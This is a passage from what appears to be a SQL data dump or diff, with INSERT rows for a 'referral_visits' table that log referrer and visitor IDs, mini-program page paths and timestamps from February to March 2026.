'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (163, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (164, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-02-16 00:28:16'); -INSERT INTO `referral_visits` VALUES (165, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (166, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (167, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-16 00:31:49'); -INSERT INTO `referral_visits` VALUES (168, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:02:05'); -INSERT INTO `referral_visits` VALUES (169, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:02:05'); -INSERT INTO `referral_visits` VALUES (170, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:02:07'); -INSERT INTO `referral_visits` VALUES (171, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (172, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (173, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-16 01:38:53'); -INSERT INTO `referral_visits` VALUES (174, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-16 01:48:22'); -INSERT INTO `referral_visits` VALUES (175, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (176, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', NULL, '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (177, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', NULL, '2026-02-16 10:20:20'); -INSERT INTO `referral_visits` VALUES (178, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:43'); -INSERT INTO `referral_visits` VALUES (179, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'miniprogram', 'pages/read/read', '2026-02-16 10:20:43'); -INSERT INTO `referral_visits` VALUES (180, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (181, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (182, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-17 04:57:54'); -INSERT INTO `referral_visits` VALUES (183, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (184, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (185, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-17 09:08:27'); -INSERT INTO `referral_visits` VALUES (186, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (187, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (188, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-20 23:42:28'); -INSERT INTO `referral_visits` VALUES (189, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (190, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (191, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-21 01:13:09'); -INSERT INTO `referral_visits` VALUES (192, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (193, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (194, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:35:08'); -INSERT INTO `referral_visits` VALUES (195, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (196, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (197, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:40:24'); -INSERT INTO `referral_visits` VALUES (198, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (199, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (200, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (201, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (202, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (203, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (204, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:53:38'); -INSERT INTO `referral_visits` VALUES (205, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:53:38'); -INSERT INTO `referral_visits` VALUES (206, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 02:24:16'); -INSERT INTO `referral_visits` VALUES (207, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 02:24:16'); -INSERT INTO `referral_visits` VALUES (208, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (209, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (210, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (211, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:21:52'); -INSERT INTO `referral_visits` VALUES (212, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:21:52'); -INSERT INTO `referral_visits` VALUES (213, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:34'); -INSERT INTO `referral_visits` VALUES (214, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:34'); -INSERT INTO `referral_visits` VALUES (215, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:48'); -INSERT INTO `referral_visits` VALUES (216, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:08'); -INSERT INTO `referral_visits` VALUES (217, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:14'); -INSERT INTO `referral_visits` VALUES (218, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:21'); -INSERT INTO `referral_visits` VALUES (219, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:23'); -INSERT INTO `referral_visits` VALUES (220, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/chapters/chapters', '2026-02-23 03:23:52'); -INSERT INTO `referral_visits` VALUES (221, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:52'); -INSERT INTO `referral_visits` VALUES (222, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:24:10'); -INSERT INTO `referral_visits` VALUES (223, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:24:10'); -INSERT INTO `referral_visits` VALUES (224, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (225, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (226, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (227, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (228, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (229, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (230, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (231, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (232, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (233, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (234, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (235, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (236, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 05:57:25'); -INSERT INTO `referral_visits` VALUES (237, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 05:57:25'); -INSERT INTO `referral_visits` VALUES (238, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 05:57:27'); -INSERT INTO `referral_visits` VALUES (239, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (240, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (241, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (242, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'miniprogram', 'pages/read/read', '2026-02-23 06:07:30'); -INSERT INTO `referral_visits` VALUES (243, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (244, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (245, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (246, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (247, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (248, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (249, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/chapters/chapters', '2026-02-27 08:36:45'); -INSERT INTO `referral_visits` VALUES (250, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 09:01:09'); -INSERT INTO `referral_visits` VALUES (251, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 09:01:09'); -INSERT INTO `referral_visits` VALUES (252, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/vip/vip', '2026-02-27 09:01:18'); -INSERT INTO `referral_visits` VALUES (253, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/vip/vip', '2026-02-27 09:02:49'); -INSERT INTO `referral_visits` VALUES (254, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:29:34'); -INSERT INTO `referral_visits` VALUES (255, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:29:34'); -INSERT INTO `referral_visits` VALUES (256, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:34:39'); -INSERT INTO `referral_visits` VALUES (257, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:34:39'); -INSERT INTO `referral_visits` VALUES (258, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 10:55:53'); -INSERT INTO `referral_visits` VALUES (259, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 10:55:53'); -INSERT INTO `referral_visits` VALUES (260, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 22:58:47'); -INSERT INTO `referral_visits` VALUES (261, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 22:58:47'); -INSERT INTO `referral_visits` VALUES (262, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:51:43'); -INSERT INTO `referral_visits` VALUES (263, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:51:43'); -INSERT INTO `referral_visits` VALUES (264, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/chapters/chapters', '2026-02-27 23:52:36'); -INSERT INTO `referral_visits` VALUES (265, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:52:36'); -INSERT INTO `referral_visits` VALUES (266, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (267, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (268, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (269, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:29'); -INSERT INTO `referral_visits` VALUES (270, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:29'); -INSERT INTO `referral_visits` VALUES (271, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-03-01 11:22:26'); -INSERT INTO `referral_visits` VALUES (272, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 11:22:28'); -INSERT INTO `referral_visits` VALUES (273, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-03-01 11:22:28'); -INSERT INTO `referral_visits` VALUES (274, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 22:55:17'); -INSERT INTO `referral_visits` VALUES (275, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 22:55:17'); -INSERT INTO `referral_visits` VALUES (276, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (277, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (278, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (279, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (280, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (281, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (282, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 